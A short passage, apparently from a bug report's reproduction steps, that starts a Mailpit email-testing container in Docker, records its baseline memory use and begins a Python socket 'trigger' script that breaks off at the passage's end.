--smtp-auth) docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest # 2) baseline RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 8.473MiB / 5.772GiB # 3) trigger python3 - <<'PY' import socket N = 4_00
